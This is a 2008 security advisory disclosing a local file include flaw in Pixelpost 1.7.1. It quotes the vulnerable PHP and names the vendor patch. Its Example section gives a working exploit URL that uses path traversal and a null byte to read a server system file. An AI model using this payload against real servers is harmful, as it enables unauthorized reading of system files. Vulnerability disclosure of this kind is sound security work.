Local File Include Vulnerability in Pixelpost 1.7.1

Advisory Content :

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-033

Application: Pixelpost photoblog
Versions Affected: 1.7.1
Vendor URL: http://www.pixelpost.org/
Bug: Local File Include
Exploits: YES
Reported: 22.07.2008
Vendor response: 23.07.2008
Solution: YES
Date of Public Advisory: 28.07.2008
Authors: Digital Security Research Group [DSecRG]
(research [at] dsec [dot] ru)

Description
***********

Pixelpost photoblog has local file include vulnerability in script
index.php

Successful exploitation requires that "register_globals" is enabled.

Code
****
#################################################

$PP_supp_lang =
array('dutch'=>array('NL','Nederlands'),

'english'=>array('EN','English'),

'french'=>array('FR','Francais'),

'german'=>array('DE','Deutsch'),

'italian'=>array('IT','Italiano'),

'norwegian'=>array('NO','Norsk'),

'persian'=>array('FA','Farsi'),

'polish'=>array('PL','Polskiego'),

'portuguese'=>array('PT','Portugues'),

'simplified_chinese'=>array('CN','Chinese'),

'spanish'=>array('ES','Espanol'),

'swedish'=>array('SE','Svenska'),

'danish'=>array('DK','Dansk'),

'japanese'=>array('JP','Japanese'),

'hungarian'=>array('HU','Magyar'),

'romanian'=>array('RO','Romana'),

'russian'=>array('RU','Russian'),

'czech'=>array('CS','Cesky')
);
...
if(isset($_GET['lang'])) { $language_abr =
substr($_GET['lang'],0,2); }

foreach ($PP_supp_lang as $key => $row) {
foreach($row as $cell){
if ($cell == strtoupper($language_abr)) { $language_full =
$key; }
}
}
...
if(!empty($language_full)) {
if(file_exists("language/lang-".$language_full.".php")) {

if( !isset($_GET['x'])OR($_GET['x'] != "rss" &
$_GET['x'] != "atom")) {
require("language/lang-".$language_full.".php");
}
}else{
...

#################################################

Example:

http://[server]/[installdir]/index.php?lang=DSecRG&language_full=../../.
./../../../../../../../../../../boot.ini%00

Solution
********

Vendor fix this flaw on 27.07.2008. Security Patch can be downloaded here:

http://www.pixelpost.org/blog/2008/07/27/pixelpost-171-security-patch/

About
*****

Digital Security is leading IT security company in Russia, providing
information security consulting, audit and penetration testing services,
risk analysis and ISMS-related services and certification for ISO/IEC
27001:2005 and PCI DSS standards. Digital Security Research Group focuses
on web application and database security problems with vulnerability
reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)

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Local File Include Vulnerability in Pixelpost 1.7.1